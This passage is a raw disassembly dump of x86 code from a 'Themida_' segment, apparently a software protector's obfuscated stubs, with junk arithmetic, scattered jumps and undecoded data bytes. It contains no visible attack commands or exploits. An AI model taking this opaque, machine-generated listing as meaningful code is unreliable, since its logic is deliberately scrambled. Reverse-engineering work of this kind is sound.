1CBEF780h jmp loc_59AD80 ; --------------------------------------------------------------------------- loc_5A2790: ; CODE XREF: Themida_:005A6CF8j and ebp, 7AA2715Ah sub ebp, 2D374E8Fh add edx, ebp pop ebp add edx, eax sub edx, 1D4B12B9h pop eax add ebp, edx push dword ptr [esp] pop edx add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5A760F ; --------------------------------------------------------------------------- loc_5A27C2: ; CODE XREF: Themida_:loc_5A9374j add esi, 5783B8C7h add eax, esi jmp loc_59C2CC ; --------------------------------------------------------------------------- loc_5A27CF: ; CODE XREF: Themida_:005A9459j push ax mov ax, 0D300h xor di, ax pop ax add bx, di pop edi add bx, cx jmp loc_59D470 ; --------------------------------------------------------------------------- loc_5A27E6: ; CODE XREF: Themida_:005AB9A0j mov al, 99h and al, 0F2h jmp loc_59B169 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0FF927AE9h, 0FDE94AFFh, 8900003Bh dd 405E0h, 0B0E90000h db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A280F: ; CODE XREF: Themida_:0059A4BEj add ebx, 47146D50h jmp loc_5A58F7 ; --------------------------------------------------------------------------- loc_5A281A: ; CODE XREF: Themida_:005A39DFj push 3408h jmp loc_59DDCE ; --------------------------------------------------------------------------- loc_5A2824: ; CODE XREF: Themida_:005A186Fj pop esi pop dword ptr [esp] pop esp mov [esp], ebx push 3CF33EFAh pop ebx add esi, ebx jmp loc_5A2F8C ; --------------------------------------------------------------------------- aB?xSv db '│нщ?x=ИV,',0 align 4 dd 0E9240C89h, 0FFFF939Eh ; --------------------------------------------------------------------------- loc_5A284C: ; CODE XREF: Themida_:005AFA20j add ebx, 26680828h jb loc_5A2615 sub ebx, 86423A4Fh jmp loc_5A0415 ; --------------------------------------------------------------------------- loc_5A2863: ; CODE XREF: Themida_:005AC555j push dword ptr [esp+4] pop eax jmp loc_5A1837 ; --------------------------------------------------------------------------- db 58h, 48h, 35h dd 608A7636h, 4EC81h, 4890000h, 81585D24h, 4ECh, 240C8900h dd 6C5A57B9h, 1E98354h, 22E2BE56h, 0BA52512Ah, 333757C4h dd 454ECA81h, 0CA817BA4h, 39B85697h, 0F281D2F7h, 585B38F0h dd 5706E2C1h, 0CB6EB8BFh, 50D7F716h, 3695E9h db 0 ; --------------------------------------------------------------------------- loc_5A28C1: ; CODE XREF: Themida_:005A64D2j mov [esp], eax jmp loc_5A39B6 ; --------------------------------------------------------------------------- loc_5A28C9: ; CODE XREF: Themida_:0059C4E2j mov eax, [esp] push eax jmp loc_59A795 ; --------------------------------------------------------------------------- loc_5A28D2: ; CODE XREF: Themida_:00599325j ja loc_5A9BAF push edx mov edx, 71682ABDh xor esi, edx mov edx, [esp] push ecx loc_5A28E4: ; CODE XREF: Themida_:0059C4EDj add esp, 4 xchg ebp, [esp] pop esp push edx mov dh, 0F8h push ebx push edx mov dl, 7Fh mov bh, 0BEh add bh, dl pop edx sub bh, 4Eh jmp loc_599D1D ; --------------------------------------------------------------------------- loc_5A2902: ; CODE XREF: Themida_:005AD250j not bl mov ah, bl pop ebx sub ah, 1 sub ah, 0CAh shr ah, 8 inc ah sub esp, 4 mov [esp], edx mov dh, 0CFh add ah, 77h add ah, dh sub ah, 77h push dword ptr [esp] pop edx add esp, 4 mov cl, ah mov eax, [esp] push ebx jmp loc_59D68D ; --------------------------------------------------------------------------- loc_5A2937: ; CODE XREF: Themida_:005A21E8j add ebx, ebp mov ebp, [esp] jmp loc_5A70E8 ; --------------------------------------------------------------------------- loc_5A2941: ; CODE XREF: Themida_:0059CD84j add dword ptr [esp], 4 pop esi sub esp, 4 jmp loc_59C2B0 ; --------------------------------------------------------------------------- db 0B8h, 0FAh, 4 dd 192D20A8h, 0C1400755h, 0B33502E0h, 55B0BDA9h, 9459A4BDh dd 78E5813Fh, 0C114B67Dh, 6E908E5h db 88h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2977: ; CODE XREF: Themida_:00599406j sub dx, 25F8h jmp loc_5A62E2 ; --------------------------------------------------------------------------- loc_5A2981: ; CODE XREF: Themida_:005A8839j pop edx add eax, ecx add eax, 2CEB29FAh pop ecx jmp loc_5A2E24 ; --------------------------------------------------------------------------- loc_5A298F: ; CODE XREF: Themida_:005A35B7j push edi mov edi, 387A7400h dec edi shl edi, 6 jmp loc_5A424F ; --------------------------------------------------------------------------- loc_5A299E: ; CODE XREF: Themida_:005A32F9j add ebp, 891FDA11h add eax, ebp pop ebp add eax, edx sub eax, 125D4959h jmp loc_59EE59 ; --------------------------------------------------------------------------- db 2Dh dd 4745419Eh, 84E9D829h db 0D6h, 2 dup(0FFh) byte_5A29BF db 66h ; DATA XREF: Themida_:005986FCo dd 0E924248Bh, 0FFFF5FDBh ; --------------------------------------------------------------------------- loc_5A29C8: ; CODE XREF: Themida_:0059DF6Ej push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] and [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- dw 0C483h dd 0EDE95204h, 510000A8h, 0FF6C84E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A29ED: ; CODE XREF: Themida_:0059F8A1j sub bl, cl add bl, 15h mov ecx, [esp] jmp loc_59B517 ; --------------------------------------------------------------------------- dw 814Bh dd 787FA5E3h, 6963E93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2A06: ; CODE XREF: Themida_:0059FBF6j add dword ptr [esp], 4 pop eax push ebp mov ebp, 4 jmp loc_5AA2AE ; --------------------------------------------------------------------------- loc_5A2A16: ; CODE XREF: Themida_:005A53EFj sub ebp, 4 xchg ebp, [esp] jmp loc_5A3194 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 0E9000000h, 585h ; --------------------------------------------------------------------------- loc_5A2A2C: ; CODE XREF: Themida_:005A0434j pop cx xor dl, 9Ch xor ch, dl pop edx push small 0 add byte ptr [esp], 0F8h add byte ptr [esp], 0C5h sub [esp], ch sub byte ptr [esp], 0C5h push dx mov dl, 0F8h jmp loc_5A8097 ; --------------------------------------------------------------------------- loc_5A2A50: ; CODE XREF: Themida_:0059ABFFj sub ecx, 218C4AE7h or ecx, 758692Bh jmp loc_59F451 ; --------------------------------------------------------------------------- loc_5A2A61: ; CODE XREF: Themida_:005A463Ej jz loc_5A5C3C jmp loc_5A0DCC ; --------------------------------------------------------------------------- loc_5A2A6C: ; CODE XREF: Themida_:005A4695j add esp, 4 push ecx mov ecx, 79CD6CBAh mov ebp, 0E19ACAB6h xor ebp, ecx pop ecx add ebp, esi mov esi, [esp] add esp, 4 add edx, 52143162h add edx, 7381274Dh jmp loc_5AB2B0 ; --------------------------------------------------------------------------- loc_5A2A96: ; CODE XREF: Themida_:0059EB77j xor ebx, 5C337CD9h sub ebx, 24F4C6D2h add ecx, ebx pop ebx sub dword ptr [esp+4], 638782Dh jmp loc_5AC7A2 ; --------------------------------------------------------------------------- dw 0D689h dd 95EA815Ah, 134EE54h, 95C281F2h, 5E34EE54h, 0E9241433h dd 0FFFFD2B1h dword_5A2ACC dd 0E940478Fh, 0FFFF5ECFh, 0E904EC83h, 0FFFFC89Ch ; DATA XREF: Themida_:0059879Co ; --------------------------------------------------------------------------- loc_5A2ADC: ; CODE XREF: Themida_:005A6EC9j push edx mov dl, 44h add dl, 0C9h shl dl, 6 jmp loc_5ADAD2 ; --------------------------------------------------------------------------- loc_5A2AEA: ; CODE XREF: Themida_:005A14E0j xor ch, 6Ch jmp loc_59D109 ; --------------------------------------------------------------------------- loc_5A2AF2: ; CODE XREF: Themida_:005A02FEj push dword ptr [esp] pop edi push edi jmp loc_599DC8 ; --------------------------------------------------------------------------- dd 80E9DD01h db 0AAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2B03: ; CODE XREF: Themida_:005ADCFBj push dword ptr [esp+4] mov esi, [esp] jmp loc_5AE8DD ; --------------------------------------------------------------------------- loc_5A2B0F: ; CODE XREF: Themida_:005A227Fj pop eax add eax, 4 add eax, 4 jmp loc_5AF43D ; --------------------------------------------------------------------------- db 81h, 0C7h, 4Ch dd 1FD0542h, 8B04247Ch, 0D2E9243Ch db 61h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2B2F: ; CODE XREF: Themida_:005ADF64j mov [esp], esi jmp loc_599D35 ; --------------------------------------------------------------------------- loc_5A2B37: ; CODE XREF: Themida_:005A9DEEj sub dword ptr [esp], 0AE2429Dh sub [esp], eax jmp loc_5A78FE ; --------------------------------------------------------------------------- word_5A2B46 dw 34FFh ; DATA XREF: Themida_:0059888Co dd 24048B24h, 7C17E9h db 0 ; --------------------------------------------------------------------------- loc_5A2B51: ; CODE XREF: Themida_:005A9045j add esp, 4 pop dword ptr [esp] mov esp, [esp] div cl movzx cx, ah push edi sub esp, 4 push 695h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] push edx jmp loc_5AC492 ; --------------------------------------------------------------------------- loc_5A2B87: ; CODE XREF: Themida_:005A7E95j mov [eax], dl jmp loc_5A2CDD ; --------------------------------------------------------------------------- dw 248Bh dd 241C8924h, 0EF3E10BBh, 7BC38128h, 55377931h, 0FFED0FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2BA5: ; CODE XREF: Themida_:005A0BC4j mov ah, bl push edx jmp loc_5A1237 ; --------------------------------------------------------------------------- loc_5A2BAD: ; CODE XREF: Themida_:005A6E7Aj sub esi, ecx pop ecx xchg esi, [esp] mov esp, [esp] mov [esp], cx jmp loc_59B04F ; --------------------------------------------------------------------------- loc_5A2BBF: ; CODE XREF: Themida_:005A3B57j push 2E36h mov [esp], ebx mov ebx, 7DFA0BB8h jmp loc_5A0F7F ; --------------------------------------------------------------------------- byte_5A2BD1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005988F8o aUh?9 db '$Uh?9',0 dw 0E900h dd 0FFFF8B34h ; --------------------------------------------------------------------------- loc_5A2BE0: ; CODE XREF: Themida_:005AF50Dj push edi push ebx mov ebx, 0C0915EBh shl ebx, 8 inc ebx jl loc_5A7359 dec ebx jp loc_5A23B4 add ebx, 362F79C6h mov edi, ebx pop ebx sub eax, edi loc_5A2C03: ; CODE XREF: Themida_:005A72AAj push ebx mov ebx, 53A7228Dh not ebx sub ebx, 7E074FE2h shl ebx, 1 not ebx jmp loc_5A8548 ; --------------------------------------------------------------------------- loc_5A2C1A: ; CODE XREF: Themida_:005A78F9j ; Themida_:005AD99Aj shl edx, 1 jmp loc_59D64E ; --------------------------------------------------------------------------- loc_5A2C21: ; CODE XREF: Themida_:005A9D41j xor esi, 0A036C9Fh shr esi, 1 jmp loc_5A5DC9 ; --------------------------------------------------------------------------- loc_5A2C2E: ; CODE XREF: Themida_:005A2039j sub edi, eax pop eax dec edi not edi xor edi, 168D5ED6h xor edi, 63596F9Dh sub eax, 264B5FFFh add eax, edi jmp loc_5AD12E ; --------------------------------------------------------------------------- dd 348BF129h, 4C48124h, 0E9000000h, 0B24Dh ; --------------------------------------------------------------------------- loc_5A2C5C: ; CODE XREF: Themida_:005A9CEAj push ebp mov ebp, esp push ebx mov ebx, 4 add ebp, ebx jmp loc_5AB429 ; --------------------------------------------------------------------------- loc_5A2C6C: ; CODE XREF: Themida_:005A581Aj mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp and [esp], al pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2C81: ; CODE XREF: Themida_:005AD66Bj xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_5A5B7F ; --------------------------------------------------------------------------- loc_5A2C8F: ; CODE XREF: Themida_:005AFBD7j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A2C94: ; CODE XREF: Themida_:005AC85Fj shr ch, 6 push edx mov dh, 1Dh push ax mov al, 0FFh add dh, al pop ax jmp loc_5A908C ; --------------------------------------------------------------------------- loc_5A2CA7: ; CODE XREF: Themida_:0059D68Fj add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_59D52A ; --------------------------------------------------------------------------- db 52h dd 9A679DBAh, 49F2813Bh, 0E90E8753h, 0FFFFEBC4h ; --------------------------------------------------------------------------- loc_5A2CCC: ; CODE XREF: Themida_:005A901Cj xor edx, 5DC3489Fh jb loc_5AC8AF jmp loc_59A624 ; --------------------------------------------------------------------------- loc_5A2CDD: ; CODE XREF: Themida_:005A2B89j push dword ptr [esp] jmp loc_5A5E13 ; --------------------------------------------------------------------------- loc_5A2CE5: ; CODE XREF: Themida_:0059C0F6j mov bl, cl pop ecx sub al, bl pop ebx mov ecx, [esp] push ecx jmp loc_599A69 ; --------------------------------------------------------------------------- dd 26E95B54h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2CFB: ; CODE XREF: Themida_:005A4F67j push eax mov eax, 590C6F83h neg eax push ecx mov ecx, 6136A7Dh shl ecx, 1 and ecx, 1C76015Bh jmp loc_5A55EB ; --------------------------------------------------------------------------- loc_5A2D16: ; CODE XREF: Themida_:005AC22Cj push edx push dword ptr [esp+4] jmp loc_5A056B ; --------------------------------------------------------------------------- loc_5A2D20: ; CODE XREF: Themida_:0059E8A0j mov esp, [esp] mov dh, [esp+4] mov [esp+4], ah mov eax, [esp] add esp, 4 not dh push eax push ecx mov cl, dh push ebx mov bh, cl mov al, bh pop ebx pop ecx mov dh, [esp+4] jmp loc_59E5C9 ; --------------------------------------------------------------------------- db 68h dd 1D1h, 68241C89h, 2B7Ah, 0FFC151E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2D59: ; CODE XREF: Themida_:0059E14Cj inc dword ptr [esp] pop ebp not ebp push ecx jmp loc_5A96B4 ; --------------------------------------------------------------------------- loc_5A2D65: ; CODE XREF: Themida_:0059FC25j mov ebp, 1 and ecx, ebp push dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 jmp loc_59F080 ; --------------------------------------------------------------------------- loc_5A2D7E: ; CODE XREF: Themida_:005A77EDj add edx, 162E29ACh neg edx jmp loc_598F4E ; --------------------------------------------------------------------------- db 1 aS82 db 'оИ82',0 align 2 loc_5A2D92: ; CODE XREF: Themida_:005A3762j shr eax, 7 sub eax, 81108EC4h sub edi, eax pop eax jmp loc_5A90DB ; --------------------------------------------------------------------------- loc_5A2DA2: ; CODE XREF: Themida_:0059B62Aj pop esp jmp loc_59CC4B ; --------------------------------------------------------------------------- dword_5A2DA8 dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF5BEBh ; DATA XREF: Themida_:00598758o ; --------------------------------------------------------------------------- loc_5A2DB8: ; CODE XREF: Themida_:0059DAB1j neg esi jmp loc_5A5471 ; --------------------------------------------------------------------------- aQhY db 'Qh)Y',0 dd 24148900h, 0A1A6E9h, 59CE0100h, 4EC81h, 6DE90000h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2DDB: ; CODE XREF: Themida_:005A0721j pop edi push eax jmp loc_599835 ; --------------------------------------------------------------------------- loc_5A2DE2: ; CODE XREF: Themida_:005A466Fj push esp mov ecx, [esp] add esp, 4 push ebx mov ebx, 4 add ecx, ebx push dword ptr [esp] jmp loc_5A3217 ; --------------------------------------------------------------------------- db 1, 74h, 24h dd 0A212E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2E02: ; CODE XREF: Themida_:005ACD0Bj pop edx shl edx, 4 jz loc_5A49D3 xor edx, 24F15B98h jns loc_5AFB3C shl edx, 3 jmp loc_5A5ABF ; --------------------------------------------------------------------------- dd 84C0C651h ; --------------------------------------------------------------------------- loc_5A2E24: ; CODE XREF: Themida_:005A298Aj xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59C059 ; --------------------------------------------------------------------------- dw 1433h dd 24248B24h, 4EC81h, 34890000h, 4EC8324h, 83242489h, 5E042404h dd 4C681h, 0E9550000h, 0FFFF639Fh, 4BF57h, 0FD890000h dd 29A52D5Fh, 0E8010B2Eh, 2E29A505h, 4875D0Bh, 24248B24h dd 525F5457h, 3C4DB951h, 54E91F10h, 5000054h, 742B7F48h dd 0EB780C35h, 0E9C10193h, 0FFFF5C98h ; --------------------------------------------------------------------------- loc_5A2E94: ; CODE XREF: Themida_:0059E822j mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esi push eax push 45CCh mov [esp], edi mov edi, 7FE061A0h mov eax, edi pop edi mov esi, 0DBAABEC7h sub esi, eax pop eax sub esi, 1 push edx mov edx, 7B5B6726h or edx, 4A260072h jmp loc_599422 ; --------------------------------------------------------------------------- dw 0C483h dd 4B95104h, 1000000h, 0EC8359CDh, 240C8904h, 3D242468h dd 0C981592Ah, 64B913F5h, 0F07E1C1h, 0FF91648Bh, 7EE981FFh dd 15E9BFAh db 0CDh, 59h, 56h ; --------------------------------------------------------------------------- loc_5A2F07: ; CODE XREF: Themida_:005A0C7Dj add ecx, 4 xchg ecx, [esp] pop esp xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov [esp], ebp push esp jmp loc_59C7BF ; --------------------------------------------------------------------------- loc_5A2F23: ; CODE XREF: Themida_:005AE31Bj mov eax, 38h jmp loc_59BD26 ; --------------------------------------------------------------------------- loc_5A2F2D: ; CODE XREF: Themida_:0059DDFDj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5ADEDA ; --------------------------------------------------------------------------- dd 0E905E5C1h, 5B65h ; --------------------------------------------------------------------------- loc_5A2F44: ; CODE XREF: Themida_:005A665Fj pop dword ptr [edi+40h] mov eax, [esp] sub esp, 4 mov [esp], edi push 632Fh mov [esp], esp add dword ptr [esp], 4 pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx jmp loc_5AD51A ; --------------------------------------------------------------------------- loc_5A2F75: ; CODE XREF: Themida_:00599F15j push 1F57h jmp loc_599A76 ; --------------------------------------------------------------------------- loc_5A2F7F: ; CODE XREF: Themida_:loc_59F0F9j sub ecx, 7C9DA0E2h mov ebp, ecx jmp loc_59F44C ; --------------------------------------------------------------------------- loc_5A2F8C: ; CODE XREF: Themida_:005A2834j mov ebx, [esp] push edi mov edi, esp add edi, 4 push 258Fh jmp loc_59A290 ; --------------------------------------------------------------------------- dw 575Ch dd 42474FFh, 24048F5Fh, 1CCE9h, 4EA8300h, 5C241487h, 0BD242C89h dd 4, 6EE9h, 93D0F700h, 8D890F43h, 81000061h, 0C8310BF3h dd 0D9895714h db 0B5h, 74h word_5A2FDA dw 0FF66h ; DATA XREF: Themida_:00598920o dd 0EA7AE932h, 1C89FFFFh, 369EBB24h, 0DD295715h, 0D068585Bh dd 89000015h, 2BE2434h, 1000000h, 24348BF5h, 8304C483h dd 2C8904ECh, 2474FF24h, 48F5D04h, 24248B24h, 0FF5A06E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A3019: ; CODE XREF: Themida_:0059BB57j pop esp push ecx mov ecx, 4F175C5Ch and esi, ecx pop ecx shr esi, 6 add esi, 107E0382h xchg ebp, esi jmp loc_5A8061 ; --------------------------------------------------------------------------- db 1 aSlPirsx_ db 'Х▀,$P┴ЮИ∙_',0 align 10h loc_5A3040: ; CODE XREF: Themida_:005A0E0Bj ; Themida_:005A61ACj xor ecx, ebx xor ebx, ecx xor ecx, ebx not ebx push 441Eh mov [esp], ecx push 1658h mov [esp], ebx pop ecx jmp loc_5A7821 ; --------------------------------------------------------------------------- loc_5A305E: ; CODE XREF: Themida_:0059B1FBj add ah, 95h shl ah, 5 js loc_5A7062 jmp loc_5A44C9 ; --------------------------------------------------------------------------- loc_5A306F: ; CODE XREF: Themida_:005A309Bj xor ebp, 5B753C36h jmp loc_5A836F ; --------------------------------------------------------------------------- loc_5A307A: ; CODE XREF: Themida_:005AB631j mov [esp], ebx mov ebx, eax push 528h mov [esp], ebx jmp loc_5A7F54 ; --------------------------------------------------------------------------- loc_5A308C: ; CODE XREF: Themida_:005AD6EBj pop eax push edi jmp loc_59EB0E ; --------------------------------------------------------------------------- loc_5A3093: ; CODE XREF: Themida_:loc_5A50DDj ; Themida_:005AEF16j not ebp and ebp, 702421ABh ja loc_5A306F xor ebp, 5B753C36h jmp loc_5A6768 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h ; --------------------------------------------------------------------------- loc_5A30AF: ; CODE XREF: Themida_:0059BB7Bj pop edi xchg eax, [esp] mov esp, [esp] jmp loc_5A92AF ; --------------------------------------------------------------------------- loc_5A30BB: ; CODE XREF: Themida_:0059C192j jmp loc_5995B4 ; --------------------------------------------------------------------------- loc_5A30C0: ; CODE XREF: Themida_:005A4BD4j sub eax, edx jmp loc_5ABBCC ; --------------------------------------------------------------------------- loc_5A30C7: ; CODE XREF: Themida_:0059B44Bj xor ecx, [esp] pop esp mov edx, [esp] add esp, 4 sub esp, 4 jmp loc_5ACDB5 ; --------------------------------------------------------------------------- loc_5A30D9: ; CODE XREF: Themida_:005A8999j shr edi, 7 sub edi, 40C97773h jmp loc_59BB64 ; --------------------------------------------------------------------------- loc_5A30E7: ; CODE XREF: Themida_:005AF324j add esi, ebp sub esi, 7A8809D3h pop ebp pop ecx xchg esi, [esp] jmp loc_5AA653 ; --------------------------------------------------------------------------- byte_5A30F9 db 0ADh, 0E9h, 0D5h ; DATA XREF: Themida_:00598870o db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A30FF: ; CODE XREF: Themida_:005A6AE3j push edi mov edi, 0D9F9135Bh jmp loc_598C5F ; --------------------------------------------------------------------------- dw 0CB31h dd 15ED8159h, 574E4364h, 1F3E37BFh, 81D7F743h, 0AD18E2CFh dd 0E94F4F74h, 9748h ; --------------------------------------------------------------------------- loc_5A3128: ; CODE XREF: Themida_:005A6F0Aj add ebx, ecx sub ebx, 12E5514Eh push esi mov esi, 14771A77h sub ebx, esi pop esi add ebx, 76666909h pop ecx add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_5AF753 ; --------------------------------------------------------------------------- dd 0C8EA8158h, 150173Bh, 0C8C281EAh, 5D50173Bh, 85F9E9h db 0 ; --------------------------------------------------------------------------- loc_5A3165: ; CODE XREF: Themida_:005A3837j xor [esp], ebp xor ebp, [esp] mov esp, [esp] push small 694Ch mov [esp], bx mov bl, 42h jmp loc_59D23B ; --------------------------------------------------------------------------- db 5Ch, 0D3h, 4 dd 1CE99C24h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3187: ; CODE XREF: Themida_:0059A62Bj mov edi, edx pop edx sub [esp+8], edi pop edi jmp loc_5A662D ; --------------------------------------------------------------------------- loc_5A3194: ; CODE XREF: Themida_:005A2A1Cj pop esp jmp loc_5AB41D ; --------------------------------------------------------------------------- loc_5A319A: ; CODE XREF: Themida_:005A843Dj push esi push ebx mov ebx, 302B275Bh mov esi, ebx mov ebx, [esp] add esp, 4 shl esi, 2 xor esi, 561905F1h sub esi, 3F447665h neg esi jmp loc_59E5DA ; --------------------------------------------------------------------------- loc_5A31BF: ; CODE XREF: Themida_:005A3E0Aj ; Themida_:005AF77Aj mov [esp], edi mov edi, 45A74AF1h push ebp mov ebp, 2E3A31E6h sub ebp, 6E490488h and ebp, 7DA55B2Eh shr ebp, 8 shr ebp, 3 jmp loc_5ACC32 ; --------------------------------------------------------------------------- loc_5A31E4: ; CODE XREF: Themida_:0059B34Cj mov edi, esp jmp loc_598CD1 ; --------------------------------------------------------------------------- loc_5A31EB: ; CODE XREF: Themida_:005A6414j add ebp, 3B1F3AC6h jmp loc_59E6E9 ; --------------------------------------------------------------------------- loc_5A31F6: ; CODE XREF: Themida_:005ACC62j pop ebp xchg esi, [esp] pop esp add esp, 4 jmp loc_59F264 ; --------------------------------------------------------------------------- db 80h dd 2CE9AECDh, 58FFFF8Bh, 49F5BE56h, 96E91303h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3217: ; CODE XREF: Themida_:005A2DF4j pop ebx jmp loc_5A540D ; --------------------------------------------------------------------------- loc_5A321D: ; CODE XREF: Themida_:005A603Dj mov ebp, 4 jmp loc_5ACC60 ; --------------------------------------------------------------------------- loc_5A3227: ; CODE XREF: Themida_:005A32C7j neg eax sub eax, 0B9098C31h jmp loc_5AA82E ; --------------------------------------------------------------------------- loc_5A3233: ; CODE XREF: Themida_:005A3E82j sub edx, 65AB7E2Dh mov edi, [esp] push edi mov edi, esp add edi, 4 jmp loc_5A940E ; --------------------------------------------------------------------------- loc_5A324A: ; CODE XREF: Themida_:005AD5E6j jnp loc_5A793C jmp loc_5A8A63 ; --------------------------------------------------------------------------- db 81h, 0E9h, 53h dd 5F772576h db 51h, 5Dh, 55h ; --------------------------------------------------------------------------- loc_5A325F: ; CODE XREF: Themida_:0059BF87j push 26A155A7h pop ebp sub ebx, ebp jmp loc_5AC5EC ; --------------------------------------------------------------------------- loc_5A326C: ; CODE XREF: Themida_:005A7F41j or ebp, 5BD37370h not ebp xor ebp, 8FC3A460h add edx, ebp pop ebp jmp loc_5A8D05 ; --------------------------------------------------------------------------- dw 0C529h dd 0E9DDF758h, 0FFFFC692h ; --------------------------------------------------------------------------- loc_5A328C: ; CODE XREF: Themida_:0059C3E5j add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 1000000h jmp loc_5A7FCD ; --------------------------------------------------------------------------- aIXsL db '┬бXИ',1Bh,'╚',0 db 0 ; --------------------------------------------------------------------------- loc_5A32AB: ; CODE XREF: Themida_:0059C669j push edi mov edi, 5C7A3AB5h sub esp, 4 mov [esp], eax mov eax, 1D8F58BFh shr eax, 7 xor eax, 1E93533Ah jmp loc_5A3227 ; --------------------------------------------------------------------------- loc_5A32CC: ; CODE XREF: Themida_:0059C68Dj push 14A2h mov [esp], eax jmp loc_59FF88 ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 87000000h, 545C2434h, 5524048Fh, 0FFB17AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A32ED: ; CODE XREF: Themida_:005ADE2Fj push ebp mov ebp, 62BD6967h add ebp, 268005E1h jmp loc_5A299E ; --------------------------------------------------------------------------- loc_5A32FE: ; CODE XREF: Themida_:005992D1j xor ecx, 64062E6Bh mov ebp, ecx pop ecx push edx push esi mov esi, 6216262Bh xor esi, 0B51458Ch neg esi xor esi, 8AD6BE41h push edi mov edi, esi jmp loc_5A9EC1 ; --------------------------------------------------------------------------- dd offset dword_4E8EAC+1ADBCh dd 241C8900h, 0FF7591E9h, 0C6815AFFh, 6B8F60D9h, 2140BA52h dd 3AE96D7Fh db 9Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A3343: ; CODE XREF: Themida_:0059B465j add eax, 0F24A6378h xor edx, eax pop eax sub ebx, 7DAE11E2h sub ebx, edx jmp loc_5A2490 ; --------------------------------------------------------------------------- loc_5A3358: ; CODE XREF: Themida_:005A66FAj add eax, 21A53C47h jo loc_5A93CB shr eax, 5 xor eax, 0AEB7C0Ch jns loc_5AA475 sub eax, 0DBEB17D1h jnz loc_5AB0EA push esi mov esi, 20CD26C5h dec esi jmp loc_5A1348 ; --------------------------------------------------------------------------- dd 4B9h, 59C80100h, 0E9240487h, 9FD1h dword_5A3398 dd 24048B66h, 1C3F6850h, 24890000h, 24048324h, 2434FF04h ; DATA XREF: Themida_:00598814o dd 98E95258h db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A33B3: ; CODE XREF: Themida_:005AA568j add esp, 4 jmp loc_5A15B1 ; --------------------------------------------------------------------------- db 81h dd 0B724DDEAh, 0A7C28117h, 29DC8846h, 0FFE95AD5h db 0A1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A33CF: ; CODE XREF: Themida_:0059D2B1j inc ebx jnz loc_5AD7BC sub ebx, 6BAAC20h mov edx, ebx pop ebx mov esi, edx sub al, 55h loc_5A33E3: ; CODE XREF: Themida_:00599609j ; DATA XREF: Themida_:00598810o mov ax, [esp] push ebp push ebx jmp loc_5A3A7F ; --------------------------------------------------------------------------- dw 0F281h dd 3C3F10DCh, 148BD189h, 4C48324h, 36EE9h, 559DE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3406: ; CODE XREF: Themida_:0059EDE4j add esp, 4 push edx mov edx, esp add edx, 4 push edi push ebx mov ebx, 4 mov edi, ebx pop ebx add edx, edi jmp loc_5AE1AB ; --------------------------------------------------------------------------- a_siusb db '_S┴ЦИ║╡',0 db 0 ; --------------------------------------------------------------------------- loc_5A342F: ; CODE XREF: Themida_:005AE299j neg edx jz loc_5AEBAE sub edx, 1217A8DBh push edx pop esi jmp loc_5A7526 ; --------------------------------------------------------------------------- loc_5A3444: ; CODE XREF: Themida_:0059F447j not ch shl ch, 2 jns loc_5AABC3 add ch, 6Eh mov bh, ch pop ecx jmp loc_5A23C4 ; --------------------------------------------------------------------------- dw 0EC83h dd 0E5895704h, 4C581h, 0BB530000h, 4, 875BDD01h, 15C242Ch dd 0C58159CDh, 4, 27A7E9h db 0 ; --------------------------------------------------------------------------- loc_5A3481: ; CODE XREF: Themida_:loc_5AFB0Fj xor ebp, 3A826172h jnb loc_5AEED4 jmp loc_5A2550 ; --------------------------------------------------------------------------- dw 0F381h dd 62637CCCh db 53h ; --------------------------------------------------------------------------- loc_5A3499: ; CODE XREF: Themida_:005A6855j pop ebp add esp, 4 or eax, eax jz loc_5AB121 push 28FEh jmp loc_5AC145 ; --------------------------------------------------------------------------- loc_5A34B2: ; CODE XREF: Themida_:005A4B97j ; Themida_:005AFA44j push ecx push dword ptr [esp+4] pop ecx jmp loc_59F509 ; --------------------------------------------------------------------------- db 0C1h, 0EAh, 4 dd 0E8D2840Fh, 0C281FFFFh, 62675FC9h, 525AD389h, 